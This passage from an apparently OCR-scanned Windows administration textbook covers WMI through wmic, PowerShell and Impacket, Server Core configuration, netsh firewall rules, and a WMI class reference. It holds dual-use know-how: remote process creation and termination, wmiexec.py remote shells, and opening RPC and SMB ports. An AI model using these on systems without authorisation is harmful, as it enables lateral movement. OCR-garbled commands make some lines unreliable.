msdn.microsoft.com/en-us/library/aa394189(v=vs.85).aspx for more details.
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"file.WriteLine(\"  SID: \" & obj.SID )\n"
"file.WriteLine(\"  Full Name: \" & obj.FullName )\n"
"file.WriteLine(\" Name: \" & obj.Name )\n"

"Next \n"

The updated script now uses VBScript to execute a WMI query that returns the associators
of the LogonID that are instances of Win32_UserAccount. The script then includes the data from
the account as well in the log file. When the script is complete and compiled with mofcomp.exe, a
typical entry in the file C: \Logon.txt is

Logon Session 4/29/2018 7:07:30 PM
Authentication: Kerberos
Caption:

Description:

LogonID: 1247919

LogonType: 3

Name:

Status:

Account Type: 512

Caption: PLUTO\jbach

Domain: PLUTO

SID: S-1-5-21-2712758988-2974005575-3302443488-1103
Full Name: Johann Sebastian Bach
Name: jbach

This provides much more useful information.

Using wmic to Interact with WMI

A user can use winrm to interact with WMI, but only if the WinRM service is running. It is possible
to interact with WMI without using WinRM. One option is to the command-line tool wmic. Help
for wmic is provided by the command wmic /? or the command wmic /?:full.
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Using wmic to Enumerate WMI Data

As an example of the use of wmic, consider the command

C:\Users\jbach>wmic useraccount list

AccountType Description Disabled Domain FullName InstallDate LocalAccount
Lockout  Name PasswordChangeable PasswordExpires PasswordRequired

SID SIDType Status

512 Built-in account TRUE BRINTON TRUE

for administering

the computer/domain
FALSE Administrator  TRUE FALSE TRUE
S-1-5-21-3478959905-1979217705-488103399-500 1 Degraded

... Output Deleted ...

This is comparable to an enumerate operation in winrm and shows WMI data about the users
on the system. Rather than use the name of the class, the command uses a wnic alias; a list of wmic
aliases is provided in the Notes and References section. The information provided by wmic can be
shortened with the command

C:\Users\jbach>wmic useraccount list brief
AccountType Caption Domain FullName Name SID

... Output Deleted ...

512 PLUTO\jbach PLUTO Johann Sebastian Bach jbach S-1-5-
21-2712758988-2974005575-3302443488-1103

... Output Deleted ...

Rather than using an alias, an administrator can access a location in the WMI database by
specifying the full class name with the path argument. For example, the administrator can run

C:\Users\jbach>wmic sexrvice list

... Output Deleted ...

or

C:\Users\jbach>wmic path Win32_Serxvice

... Output Deleted ...
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A domain administrator can use wmic against remote systems by specifying the /node option;
for example, to see the processes running on the remote system drake, run the command

C:\Users\jbach>wmic /node:drake process list brief

HandleCount Name Priority ProcessId ThreadCount Working
0 System Idle Process 0 0 1 8192
901 System 8 4 82 61440
51 smss.exe 11 264 3 888832
245 CSISS.exe 13 356 9 3555328

... Output Deleted ...

When wmic is used to connect to WMI on a remote system, it uses RPC, beginning with
TCP/135 then a high numbered port. This is how tools like WMI Explorer and mofcomp.exe
connect to a remote system, but this is different than WinRM, which uses TCP/5985.

It is possible to refine a request made using WMIC.

C:\Users\jbach>wmic /node:drake process where name="MicrosoftEdge.exe" list brief
HandleCount Name Priority ProcessId ThreadCount WorkingSetSize
743 MicrosoftEdge.exe 8 4484 27 50712576

It is also possible to get just portions of the available data.

C:\Users\jbach>wmic /node:drake process where name="MicrosoftEdge.exe" get
ProcessID

ProcessId

4484

Using wmic to Invoke WMI Methods

The administrator can use wmic to call WMI methods. As an example, to terminate the Microsoft
Edge process running on the remote system drake, the administrator can run

C:\Users\jbach>wmic /node:drake process where name="MicrosoftEdge.exe" call
terminate

Executing (\\DRAKE\ROOT\CIMV2:Win32 Process.Handle="4484")->terminate()
Method execution successful.

Out Parameters:

instance of _ PARAMETERS

{

ReturnValue = 0;

b
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The same approach can be used to create a process.

C:\Users\jbach>umic process call create "C:\Program Files\npp.7.3.3.bin\notepad++.exe"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of _ PARAMETERS
{
ProcessId = 1860;
ReturnValue = 0;

};

By default, wmic uses the namespace /root/cimv2, but this is can be changed. For example,
suppose that the domain administrator wants to delete an event filter created using mofcomp.exe.
These are in the namespace /root/subscription, so the administrator runs (from an elevated
command prompt) the command

C:\Windows\system32>wmic /namespace:"\\root\subscription" PATH __EventFilter WHERE
Name="EventFilter" DELETE

Deleting instance \\BRINTON\ROOT\subscription: EventFilter.Name="EventFilter"
Instance deletion successful.

Using PowerShell to Interact with WMI

Another option for interacting with WMI is through PowerShell. For example, to find the accounts
on a system, the administrator can use Get-WMIObject.

PS C:\Users\jbach> Get-WmiObject -Class Win32_Account

Caption Domain Name

BRINTON\Access Control Assistance Operators BRINTON Access Control Assistance

Operators
BRINTON\Administrators BRINTON Administrators
BRINTON\Backup Operators BRINTON Backup Operators

... Output Deleted ...
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Another option is the related cmdlet Get-CimInstance.
PS C:\Users\jbach> Get-CimInstance Win32_Account

SID Name Caption

S-1-5-32-579 Access Control Assistance Operators BRINTON\Access Con...
S-1-5-32-544 Administrators BRINTON\Administra...
S-1-5-32-551 Backup Operators BRINTON\Backup Ope...

... Output Deleted ...
PowerShell can be run against remote systems, by specifying the ComputerName.

PS C:\Users\jbach> Get-WmiObject -Class Win32_Process -ComputerName drake

__GENUS : 2

__CLASS : Win32_Process

__ SUPERCLASS : CIM Process

__DYNASTY : CIM_ManagedSystemElement

__RELPATH : Win32_Process.Handle="0"

__PROPERTY_COUNT 145

__DERIVATION : {CIM Process, CIM_LogicalElement,
CIM_ManagedSystemElement}

__SERVER : DRAKE

__NAMESPACE : root\cimv2

__PATH : \\DRAKE\root\cimv2:Win32_Process.Handle="0"

Caption : System Idle Process

... Output Deleted ...

PS C:\Users\jbach> Get-CimInstance Win32_Process -ComputerName drake

ProcessId Name HandleCount WorkingSetSize VirtualSize PSComp
0 System Idle Process 0 8192 0 drake
4 System 922 61440 1605632 drake
264 smss.exe 51 909312 39444480 drake
356 CsIss.exe 235 3538944 72708096 drake
428 wininit.exe 88 4263936 71372800 drake

... Output Deleted ...

There are important differences between these two commands beyond the differences in the
output format. The cmdlet Get-WmiObject is the older version and part of the original PowerShell
1.0. When run against a remote computer, Get-WmiObject uses RPC. This was superseded by
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Get-CimInstance in PowerShell 3.0. which was released with Windows 8 and Windows Server
2012. When run against a remote target, Get-CimInstance uses WinRM running on TCP/5985.
The Get-CimInstance cmdlets also fail if the remote target is running PowerShell 2.0, like
Windows 7.

Both approaches can be used to run WQL queries.

PS C:\Users\jbach> Get-WmiObject -ComputerName drake -Query "Select * from
Win32_Service WHERE Name=""RemoteRegistry ""

ExitCode : 0O

Name : RemoteRegistry
ProcessId : 0

StartMode : Auto

State : Stopped

Status : OK

PS C:\Users\jbach> Get-CimInstance -ComputerName drake -Query "Select * from
Win32_Service WHERE Name=""RemoteRegistry ""

ProcessId Name StartMode State Status ExitCode PSComputerName

0 RemoteRegistry Auto Stopped 0K 0 drake

Because PowerShell is a programming language, the results of these commands can be stored
and passed as arguments. For example, an administrator can find the instances of Microsoft Edge
processes on a remote system, store them, and then pass them to a method to terminate them
and so kill the processes.

PS C:\Users\jbach> $edge = Get-WmiObject -ComputerName drake -Class Win32_Process
-Filter "Name=""MicrosoftEdge.exe™ ""
PS C:\Users\jbach> $edge | Invoke-WmiMethod -Name terminate

__GENUS 12

__CLASS : _ PARAMETERS
__ SUPERCLASS

__DYNASTY : _ PARAMETERS
__RELPATH

__ PROPERTY_COUNT : 1

__ DERIVATION : {}

__ SERVER

__ NAMESPACE

__PATH

ReturnValue : 0
PSComputerName
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The process using the CIM methods is similar.

PS C:\Users\jbach> $edge = Get-CimInstance -ComputerName drake -Class
Win32_Process -Filter "Name=""MicrosoftEdge.exe™ ""
PS C:\Users\jbach> $edge | Invoke-CimMethod -Name terminate

ReturnValue PSComputerName

0 drake

In the examples so far, the namespace has been the default /root/cimv2; this can be
changed. For example, to delete a filter to consumer binding, which is stored in \root\
subscription, an administrator can run (from an elevated PowerShell prompt)

PS C:\Windows\system32> $fcbinding = Get-limiObject -Namespace root\subscription
-Class __FilterToConsumerBinding | where Consumer -eq \\.\root\subscription:
ActiveScriptEventConsumer.Name=""LogonConsumer™ "

PS C:\Windows\system32> $fcbinding | Remove-WmiObject

Using Other Languages to Interact with WMI

It is possible to interact with WMI in a wide variety of languages. The older (2012) tool, WMI Code
Creator is available for download at https://www.microsoft.com/en-us/download/details.
aspx?id=8572 and can generate code in C#, VB.NET, and VBScript. A more modern starting point
is WMIGen (Figure 7-8), a program available from http://www.robvanderwoude.com/wmigen.php
that can generate code in C, C++, C#, Delphi, F#, Java, Jscript, KiXtart, Perl, Python, Ruby, VB.NET,
and VBScript.
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Classes |Win32_Process

Search

4 WMiGen 10.0 (unlicensed) Copyright © 2016 Rob van der Woude

Namespace rool/cimv2

Win32_PrinterController
Win32_PrinterDriver
Win32_PrinterDriverDIl
Win32_PrinterSetting
Win32_PrinterShare
Win32_PrintJob

Win32_Processor
Win32_ProcessStartTrace

Win32_PrivilegesStatus
Win32_Process

Properties Methods MSDN Help
Caption ~ AttachDebugger

CommandLine Create

CreationClassName GetAvailableVirtualSize

CreationDate GetOwner

CSCreationClassName GetOwnerSid

CSName SetPriority

Description Terminate

ExecutablePath

ExecutionState

Handle v

Language Python v Generate Run Copy Save Settings

Figure 7-8. WMIGen 10.0, seen on Windows 10-1607

Using Linux to Interact with WMI

Because languages like Python work on Linux systems as well as Windows systems, it is possible
to manage WMI from a Linux system. One way to do so is with Python Impacket, available from
https://github.com/CoreSecurity/impacket. On an Ubuntu system, for example, this can be
installed with the command

jmaxwell@elpis:$ sudo apt install python-impacket

The tool includes several scripts as examples. On recent systems like Ubuntu 16.04 and Kali,
there are two particularly useful scripts located in the documentation directory, usually /usr/
share/doc/python-impacket/examples.

The first useful script is wniquery.py. Provided the user has domain administrator
credentials, they can connect to a remote system and execute WQL queries.
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root@kali-2016-2-u:/usr/share/doc/python-impacket/examplest# /wmiquery.py
gmahler@10.0.15.204
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies

Password:<entexr password here»

[!] Press help for extra shell commands

WQL> SELECT Caption,CommandLine,ProcessID FROM Win32_Process WHERE Name LIKE
"%notepad’"

| Caption | CommandLine | ProcessId |

| notepad++.exe | "C:\Program Files\Notepad++\notepad++.exe" | 3144 |

The second useful script is wniexec.py, which lets the user connect to the remote system and
obtain a shell.

root@kali-2016-2-u:/usr/share/doc/python-impacket/examples# /wmiexec.py
gmahler@10.0.15.204
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies

Password: <enter password here>

[*] SMBv3.0 dialect used

[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands

C:\>whoami

pluto\gmahler

The script wmiexec.py uses both SMB and RPC, while wmiquery.py uses RPC.

Windows Server Without a GUI

Windows Servers can be installed and run without a graphical user interface (GUI).

Installation Without a GUI

One of the options available when installing Windows Server is to do so without the GUI. On
Windows Server 2012 this is called a Server Core installation. On Windows Server 2016 an
installation without a graphical user interface is the default; the version with a graphical user
interface is called the Desktop Experience (Figure 7-9).
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@ g Windows Setup il
Select the operating system you want to install | Select the operating system you want to install
Operating !rnun Architecture | Date modied Operating system ["Aschitecture | Date modfied
Server 5913 Samdard (Server wih Tr612012 Wi nclard [Desktop Expesisnce) T21/2016

Wiindaws Server 2016 Datacenter 4 172172016

Windoves Server 216 Datacenter (Desktop Expersence) i 17006
Descriptior: Description:
Thi: i reduces d s ing onty what is needed This opf e and servicing by i ling only what is needed
to run most se les and appli It g hadh aGUval:‘wuniul};mmaguhe to run most 5 I li It lude & GUL but you can fully manage the
serveslacally ot remotely with Windows PowerShel o ather tools. You can suitch to a dfferent server bocally or remately or i bty e e

later. See “Windows Server plicns.” Server [nstallation Ciptions.”
[ et )

Figure 7-9. Installing Windows Server. On the left is Windows Server 2012, which
includes the option for a Server Core Installation. On the right is Windows Server 2016,
which includes the option for the Desktop Experience.

The operating system installation process is like the process for systems with a GUIL Once it is
complete, the administrator is promoted to create the password for the local administrator user.
On Windows Server 2016, the user is presented with a command prompt that states

Enter new credentials for Administrator or hit ESC to cancel
New password :
Confirm password :

The administrator uses the up and down arrow buttons to move between the new password
and the confirmed password.®

Adding or Removing the GUI

Windows Server 2012 introduced the ability to convert a server to/from a server core installation.
This feature remains in Windows Server 2012 R2 but was removed in Windows Server 2016. Windows
Server 2012 and 2012 R2 include a minimal graphical interface in the feature Graphical Management
Tools and Infrastructure, and the full graphical interface in the feature Server Graphical Shell.

One way to remove the GUI on Windows Server 2012 or 2012 R2 is from the Server Manager
(Figure 6-1). Select Manage, then Remove Roles and Features. From Features, unselect Graphical
Management Tools and Infrastructure and unselect Server Graphical Shell (Figure 7-10). Reboot
the system to complete the removal of the GUI.

Perhaps you agree with Microsoft and think that this is the right way to handle user input. When I first
installed Windows Server 2016 from disk, I had to use Google to figure out how to confirm the password
after discovering that hitting the enter key even harder, accompanied by shouts of frustration, was not the
proper solution.
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DESTINATION SERVER

Remove features e atlnt

Before You Begin To remove one or more installed features from the selected server, clear their check boxes.

Server Selection Features Description
Server Roles L] L OVEr Fi 1P PIOXY (INOT INSTaleq) | Graphical Management Tools and
[] Simple TCP/IP Services (Not installed) [ Infrastructure includes infrastructure

and a minimal server interface that

. 5
] SMTP Server (Not installed) supports GUI management tools.

[ SNMP Service (Not installed)
[] Subsystem for UNIX-based Applications [Deprecai
[ Telnet Client (Not installed)
[J Telnet Server (Not installed)
] TFTP Client (Mot installed)
4 [m] User Interfaces and Infrastructure
Graphical Management Tools and Infrastructus
[] Desktop Experience (Not installed)
Server Graphical Shell
[] Windows Biometric Framework (Not installed)
l: Windows Feedback Forwarder (Not installed)
["1 Windows Identity Foundation 3.5 (Not installed) [w
" | > |

|<Bfevious|! Next > | igemcwe || Cancel

Figure 7-10. Windows Server 2012, before removing Graphical Management Tools and
the Server Graphical Shell

It is possible to add the GUI back in the same fashion, although Server Manager is no longer
available locally.® Another way is to use PowerShell from the administrator prompt to add the
feature, then reboot the system.

C:\Users\jbach>powershell
Windows PowerShell
Copyright (C) 2012 Microsoft Corporation. All rights reserved.

PS C:\Users\jbach> Add-WindowsFeature Server-Gui-Shell

Success Restart Needed Exit Code Feature Result

True Yes SuccessRest... {Graphical Management Tools and ...

Tt is possible to use Server Manager remotely; this is shown later in the chapter.
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WARNING: You must restart this server to finish the installation process.
WARNING: Windows automatic updating is not enabled. To ensure that your
newly-installed role or feature is automatically updated, turn on Windows
Update.

PS C:\Users\jbach> shutdown /xr /7t 0

PowerShell can also be used instead of Server Manager to remove the GUI; this can be done
with the command”

PS C:\Windows\system32> Remove-WindowsFeature Server-Gui-Mgmt-Infra

Success Restart Needed Exit Code Feature Result
True Yes SuccessRest... {Windows PowerShell ISE, Graphica ...
WARNING: You must restart this server to finish the removal process.

Configuring a Server Without a GUI

Once the initial installation of a Windows Server without a GUI is complete, some common
tasks need to take place. These include configuring the network settings, setting the hostname,
and joining an existing Windows domain. These can be done through the command sconfig
(Figure 7-11). This tool allows the administrator to set these values through a menu-driven
process entirely from the command line.

“Because Server-Gui-Shell depends on Server-Gui-Mgmt-Infra, adding the first also adds the second, while
removing the second also removes the first.
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Administrator: C\Windows\system32\cmd.exe - sconfig

Domain Workgroup: Domain: pluto.test
Computer Name: BALROG

Add Local Administrator

Conf igure Remote Management Enabled

Windows Update Settings: Manual
Download and Install Updates
Remote Desktop: Disahbled

Network Settings

Date and Time

> Help improve the product with CEIP Mot participating
Windows Activation

Log Off User

Restart Server

Shut Down Server
Exit to Command Line

[Enter number to select an option:

Figure 7-11. Running sconfig on Windows Server 2012 without a GUI Note the black
background and the absence of features like the taskbar or start menu.

The sconfig tool varies slightly between versions of Windows Server.

Managing the Firewall

It is possible to manage a Windows Server without a GUI remotely, both with graphical and
command-line tools, either from another server or from a workstation. To do so, the appropriate
ports need to be permitted by the firewall. Windows provides the command-line tool netsh to
manage the firewall.

C:\Users\jbach>netsh /?

Usage: netsh [-a AliasFile] [-c Context] [-r RemoteMachine] [-u [DomainName\ ]
UserName] [-p Password | *]
[Command | -f ScriptFile]

The following commands are available:

Commands in this context:

? - Displays a list of commands.
add - Adds a configuration entry to a list of entries.
advfirewall - Changes to the “netsh advfirewall' context.
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branchcache - Changes to the “netsh branchcache' context.
bridge - Changes to the "netsh bridge' context.
delete - Deletes a configuration entry from a list of entries.
dhcpclient - Changes to the “netsh dhcpclient' context.
dnsclient - Changes to the “netsh dnsclient' context.
dump - Displays a configuration script.

exec - Runs a script file.

firewall - Changes to the "netsh firewall' context.
help - Displays a list of commands.

http - Changes to the “netsh http' context.
interface - Changes to the “netsh interface' context.
ipsec - Changes to the “netsh ipsec' context.
ipsecdosprotection - Changes to the “netsh ipsecdosprotection' context.
lan - Changes to the "netsh lan' context.
namespace - Changes to the “netsh namespace' context.
netio - Changes to the “netsh netio' context.

ras - Changes to the “netsh ras' context.

IpC - Changes to the “netsh rpc' context.

set - Updates configuration settings.

show - Displays information.

trace - Changes to the “netsh trace' context.

wfp - Changes to the “netsh wfp' context.

winhttp - Changes to the “netsh winhttp' context.
winsock - Changes to the “netsh winsock' context.

The following sub-contexts are available:
advfirewall branchcache bridge dhcpclient dnsclient firewall http interface ipsec
ipsecdosprotection lan namespace netio ras rpc trace wfp winhttp winsock

To view help for a command, type the command, followed by a space, and then
type ?.

For example, suppose that the administrator of a Windows Server 2012 Core system wants to
see the firewall rules on that system. From the system, these can be viewed with the command

C:\Users\jbach>netsh advfirewall firewall show rule name="all" | moxe

Rule Name: File and Printer Sharing over SMBDirect (iWARP-In)
Enabled: No

Direction: In

Profiles: Domain,Private,Public

Grouping: File and Printer Sharing over SMBDirect
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LocalIP:
RemoteIP:
Protocol:
LocalPort:
RemotePort:
Edge traversal:
Action:

Rule Name:

Enabled:
Direction:
Profiles:
Grouping:

Any
Any
TCP
5445
Any
No
Allow

Windows Management Instrumentation (ASync-In)

No

In

Domain,Private,Public

Windows Management Instrumentation (WMI)

... Output Deleted ...

Configuring the Firewall to Allow SMB

To use SMB tools, including remote file access, drive mappings, and management of local users

and groups, the system must allow connections on TCP/445. By default, the initial installation of

Windows Server blocks these connections.

C:\Users\jbach>netsh advfirewall firewall show rule name="File and Printer Sharing

(SMB-In)"

Rule Name:

Enabled:
Direction:
Profiles:
Grouping:
LocalIP:
RemoteIP:
Protocol:
LocalPort:
RemotePort:
Edge traversal:
Action:

Ok.
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These connections can be allowed by enabling this rule.

C:\Users\jbach>netsh advfirewall firewall set rule name="File and Printer Sharing
(SMB-In)" new enable=yes

Updated 1 rule(s).

ok.

This now allows the use of RPC-based tools, including drive mapping, services, and local
users and groups (Figure 7-2). If the remote registry service is running, the administrator can also
manage the registry remotely.

Configuring the Firewall to Allow RPC

The command line can also be used to allow RPC traffic through the firewall; this allows an
administrator to remotely manage the event logs, scheduled tasks, processes, or services on the
remote system using graphical tools.

There are predefined rules to allow RPC traffic for selected services. Rather than use these
predefined rules for individual services, it is possible to set up custom firewall rules that permit
RPC traffic in general. To permit connections to the endpoint mapper TCP/135, the administrator
can create a rule with the command

C:\Users\jbach>netsh advfirewall firewall add rule name="CUSTOM RPC EPMAP" dir=in
action=allow protocol=TCP localport=RPC-EPMap
Ok.

To allow traffic to the dynamically chosen RPC ports, the administrator can create the rule

C:\Users\jbach>netsh advfirewall firewall add rule name="CUSTOM RPC" dir=in
action=allow protocol=TCP localport=RPC
Ok.

With these firewall rules in place, the administrator can use graphical tools remotely like
Event Viewer and Task Scheduler (Figure 7-4).

If both SMB and RPC traffic are permitted, the administrator can use Sysinternals tools like
psservice, pslist, and psexec.

To manage the firewall remotely using RPC, two additional rules can be enabled.

C:\Users\jbach>netsh advfirewall firewall set rule name="Windows Firewall Remote
Management (RPC)" new enable=yes

Updated 1 rule(s).

ok.
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C:\Users\jbach>netsh advfirewall firewall set rule name="Windows Firewall Remote
Management (RPC-EPMAP)" new enable=yes

Updated 1 rule(s).

Ok.

Allowing Windows Remote Management via the Command Line
The Windows Remote Management Service is started by default on Windows Server 2012 and later.
C:\Users\jbach>sc queryex winrm

SERVICE_NAME: winrm

TYPE : 20 WIN32_SHARE_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS SHUTDOMWN)
WIN32_EXIT CODE  : 0 (0x0)
SERVICE_EXIT CODE : 0 (0x0)
CHECKPOINT : 0X0
WAIT_HINT : 0X0
PID : 860
FLAGS

If it is not started, the service can be started with the command sc start winrmand
configured to start on subsequent boots with sc config winrm start=auto. The state of the
Windows Remote Management system can also be configured from sconfig (Figure 7-11).

By default, the firewall also allows traffic to the service.

C:\Users\jbach>netsh advfirewall firewall show rule name="Windows Remote
Management (HTTP-In)"

Rule Name: Windows Remote Management (HTTP-In)
Enabled: Yes

Direction: In

Profiles: Public

Grouping: Windows Remote Management
LocalIP: Any

RemoteIP: LocalSubnet

Protocol: TCP

LocalPort: 5985

RemotePort: Any

Edge traversal: No

Action: Allow
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Rule Name: Windows Remote Management (HTTP-In)
Enabled: Yes

Direction: In

Profiles: Domain,Private

Grouping: Windows Remote Management
LocalIP: Any

RemotelIP: Any

Protocol: TCP

LocalPort: 5985

RemotePort: Any

Edge traversal: No

Action: Allow

Ok.

Together these allow a remote user to make remote connections to the system using either
winrs or the PowerShell command Enter-PSSession.

On Windows Server 2008 R2, some additional work needs to be done. From the sconfig tool
(Figure 7-11), select Configure Remote Management, then enable Windows PowerShell; this may
require a system reboot. When this is complete, return to sconfig, again select Configure Remote
Management, and select Allow Server Remote Management.

Server Manager

Server Manager can be used to manage systems remotely. Server Manager is included in the
Remote Server Administration tools, so an Administrator can manage servers from a workstation
without needing to log in to a server from the console.

Windows Server 2012 and Later

Windows Server 2012 and later use version 3.0 of the Windows Remote Management System.
These can be managed remotely by Server Manager on Windows Server 2012 or later as well as by
Windows 8 or later.

Launch Server Manager, then from the Dashboard select Add other servers to Manage
(Figure 6-1). The administrator can select the additional server by specifying its name from Active
Directory or from DNS. Once the server is managed, the administrator can add roles and features
to the remote system from Server Manager by navigating Manage » Add Roles and Features, then
selecting the remote server from the server pool.

To configure a remote server as a domain controller, proceed as in Chapter 6 to select Active
Directory Domain Services as the role, and choose the remote server as the destination server.
Once the role is added, the user will be informed that configuration for Active Directory Domain
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Services is required. From the notification, select the option to promote the server to a domain
controller. This launches the Active Directory Domain Services Configuration Wizard (Figure 6-2)
which can be used to complete the process.

The tools provided by Server Manager can be used on the remote systems.

Windows Server 2008 R2

Windows Server 2008 R2 uses version 2.0 of the Windows Remote Management System and
cannot be managed by any system using version 3.0. It can be managed remotely by Server
Manager from Windows Server 2008 R2 as well as by Windows 7.

Although Server Manager on Windows 7 can be used to manage the roles and features on a
Remote Windows Server 2008 R2 installation (Figure 7-12), it cannot be used to add or remove
roles and features. One way this can be done is from the command line. The command oclist
shows the available optional components.

C:\Users\jbach>oclist
Use the listed update names with Ocsetup.exe to install/uninstall a server role or
optional feature.

Adding or removing the Active Directory role with OCSetup.exe is not supported.
It can leave your server in an unstable state. Always use DCPromo to install or
uninstall Active Directory.

Microsoft-Windows-ServerCore-Package

Not Installed:BitlLocker

Not Installed:BitlLocker-RemoteAdminTool

Not Installed:CertificateServices

Not Installed:ClientForNFS-Base

Not Installed:CoreFileServer

Not Installed:DFSN-Server

Not Installed:DFSR-Infrastructure-ServerEdition
Not Installed:DHCPServerCore

Not Installed:DNS-Server-Core-Role

... Output Deleted ...

These optional components can be added with ocsetup. For example, to configure a
Windows Server 2008 R2 system to act as a DNS server, from the command prompt on the server,
run

C:\Users\jbach>start /w ocsetup DNS-Server-Core-Role
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The start command is needed so that ocsetup runs in a separate window, and the /w switch
requires the command to complete before returning to the command prompt. Details on this
process can be found at https://technet.microsoft.com/en-us/library/dd673656.aspx.
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Figure 7-12. Server Manager running on Windows 7 SP1 connected to the remote server
themisto, which has been promoted to a domain controller and had the DNS role installed

To configure Windows Server 2008 R2 Core as a domain controller, the administrator does not
need to add the Active Directory role. Instead, the administrator runs dcpromo from the command
line, specifying the domain configuration. This can be done with an answer file, or directly from
the command line.

For example, suppose that the domain ad.jupiter.test exists with the domain administrator
aeinstein, and that the administrator wants to add the Windows Server 2008 R2 Core system as
another domain controller on this domain. The administrator can then run

C:\Users\aeinstein>dcpromo /unattend /CreateOrJoin:join /ReplicaDomainDNSName=ad.
jupiter.test /ReplicaOrNewDomain:Replica/UserDomain:ad.jupiter.test /Username:aeinstein
/password:* /InstallDNS:yes /ConfirmGC:Yes /SafeModeAdminPassword:passwordi!
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Checking if Active Directory Domain Services binaries are installed...
Warning: CreateOrJoin and TreeOrChild are deprecated, although they are still
supported. Consider using ReplicaOrNewDomain and NewDomain instead.

Active Directory Domain Services Setup
Validating environment and parameters...

A delegation for this DNS server cannot be created because the authoritative
parent zone cannot be found or it does not run Windows DNS server. If you are
integrating with an existing DNS infrastructure, you should manually create

a delegation to this DNS server in the parent zone to ensure reliable name
resolution from outside the domain "ad.jupiter.test". Otherwise, no action is
Tequired.

The following actions will be performed:
Configure this server as an additional Active Directory domain controller for the
domain "ad.jupiter.test".

Site:

Additional Options:
Read-only domain controller: "No"
Global catalog: Yes
DNS Server: Yes

Update DNS Delegation: No
Source domain controller: any writable domain controller

Database folder: C:\Windows\NTDS
Log file folder: C:\Windows\NTDS
SYSVOL folder: C:\Windows\SYSVOL

... Ouput Deleted ...

For more information about this process, see https://support.microsoft.com/en-us/
help/947034/how-to-use-unattended-mode-to-install-and-remove-active-directory-doma.

Notes and References

For the benefit of the reader, some of the more interesting WMI classes, events, and subscription
classes are summarized.
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Useful WMI Classes

This list of interesting WMI classes includes the name of the class, its WinRM alias, its wmic alias

(if it has one), the instances it typically has, along with some interesting properties and methods
(if any). This list is not exhaustive.

e WMIClass: root\cimv2\Win32_Account

WinRM alias: wmi/root/cimv2/Win32_Account
wmic alias: useraccount

Instances: One for each account or group on the local system or on the
domain.

Properties: Information about the account, including name, domain,
SID, status, and lockout status.

Methods: None

e WMIClass: root\cimv2\Win32_BIOS

WinRM alias: wmi/root/cimv2/Win32_BIOS
wmic alias: bios
Instances: One

Properties: Information about the BIOS of the system, including its
name and version. The BIOS may indicate that the system is a virtual
machine by considering the manufacturer or the SMBIOSBIOSVersion
property.

Methods: None

e WMI Class: root\cimv2\Win32_BootConfiguration

WinRM alias: wmi/root/cimv2/Win32_BootConfiguration
wmic alias: bootconfig
Instances: One

Properties: Information about the boot configuration, including the
location of the Windows directory and the last drive on the system.

Methods: None
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e WMIClass: root\cimv2\Win32_ComputerSystem

WinRM alias: wmi/root/cimv2/Win32_ComputerSystem
wmic alias: computersystem
Instances: One

Properties: Information about the system, including hostname, whether
it is part of a domain (including the name of that domain), as well as

the primary owner of the system. The property model may be used to
determine if the system is a virtual machine.

Methods: There are methods to rename the system, as well as to join or
unjoin a domain or workgroup.

o WMIClass: root\cimv2\Win32_Desktop

WinRM alias: wmi/root/cimv2/Win32_Desktop
wmic alias: desktop

Instances: One for each desktop, including the default; one for system;
and one for any logged-in user.

Properties: General information about the desktop, including the
wallpaper.

Methods: None

e  WMIClass: root\cimv2\Win32 Directory

WinRM alias: wmi/root/cimv2/Win32_Directory
wmic alias: None

Instances: One for each directory on the system, including network
shared drives.

Properties: Data about the directory, including its name, creation data, drive,
file type, status, and whether it is writeable and/or encrypted.

Methods: None

e WMIClass: root\cimv2\Win32_Environment
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Instances: One for each environment variable

Properties: Properties of the environment variable, including its name,
status, value. and whether it is a system variable.

Methods: None

WMI Class: \root\cimv2\Win32_Group

WinRM alias: wmi/root/cimv2/Win32_Group

wmic alias: group

Instances: One for each group on the local system or the domain.
Properties: Name, caption, and SID for each group.

Methods: Rename the group.

WMI Class: \root\cimv2\Win32_GroupInDomain

WinRM alias: wmi/root/cimv2/Win32_Group

wmic alias: None

Instances: One for each case where a user is a member of a group.
Properties: The user and the group that has the user as a member.

Methods: None

WMI Class: \root\cimv2\Win32_IP4RouteTable

WinRM alias: wmi/root/cimv2/Win32_IP4RouteTable
wmic alias: None
Instances: One for each IPv4 route destination

Properties: Properties of the network route, including the destination,
netmask, and next hop.

Methods: None

WMI Class: \root\cimv2\Win32_LoggedOnUser

WinRM alias: wmi/root/cimv2/Win32_LoggedOnUser
wmic alias: None

Instances: One for each logged-on user. Administrative privileges are
needed to see all the instances.
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Properties: The logon name, domain, and logon ID.

Methods: None

WMI Class: \root\cimv2\Win32_LogOnSession

WinRM alias: wmi/root/cimv2/Win32_LogOnSession
wmic alias: logon

Instances: One for each logon event. Administrative privileges are
needed to see all the instances.

Properties: The logon ID, the logon time, and the authentication
method. It does not include the user.

Methods: None

WMI Class: \root\cimv2\Win32_NetworkAdapter

WinRM alias: wmi/root/cimv2/Win32_NetworkAdapter
wmic alias: None
Instances: One for each network adapter.

Properties: Adapter name, type of connection, MAC address, speed, and
the time it was last reset.

Methods: An adapter can be enabled, disabled, or reset; the power state
can also be set.

WMI Class: \root\cimv2\Win32_NetworkLoginProfile

WinRM alias: wmi/root/cimv2/Win32_NetworkLoginProfile
wmic alias: None
Instances: One for each user that has logged on to the system.

Properties: Account name, the last time the user logged on, the
number of times the user logged on, the password age, the password’s
expiration, and the user ID. Administrative privileges are needed to see
all the instances.

Methods: None

WMI Class: \root\cimv2\Win32_NTEventlLogFile

WinRM alias: wmi/root/cimv2/Win32_NTEventLogFile

wmic alias: None
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Instances: One for each of the Windows system logs. Without
administrative privileges, no information is provided about the
security log.

Properties: The log name, the number of records it has, the file
containing the data, its maximum size, the overwrite policy, the time of
the last access, the time of its last modification, and whether is readable
or writeable.

Methods: Back up, copy, clear, delete, compress, uncompress or rename
the log.

WMI Class: \root\cimv2\Win32_NTLogEvent

WinRM alias: wmi/root/cimv2/Win32_NTLogEvent
wmic alias: None

Instances: One for each entry in any of the Windows system logs.
Without administrative privileges, no information is provided from the
security log.

Properties: The log file, computer name, the time the log entry was
generated, the time the log entry was written, the type, and the message.

Methods: None

WMI Class: \root\cimv2\Win32_OperatingSystem

WinRM alias: wmi/root/cimv2/Win32_OperatingSystem
wic alias: 0s
Instances: One

Properties: Operating system name, version, build number, install date,
serial number, last boot time, system directory, and Windows directory.

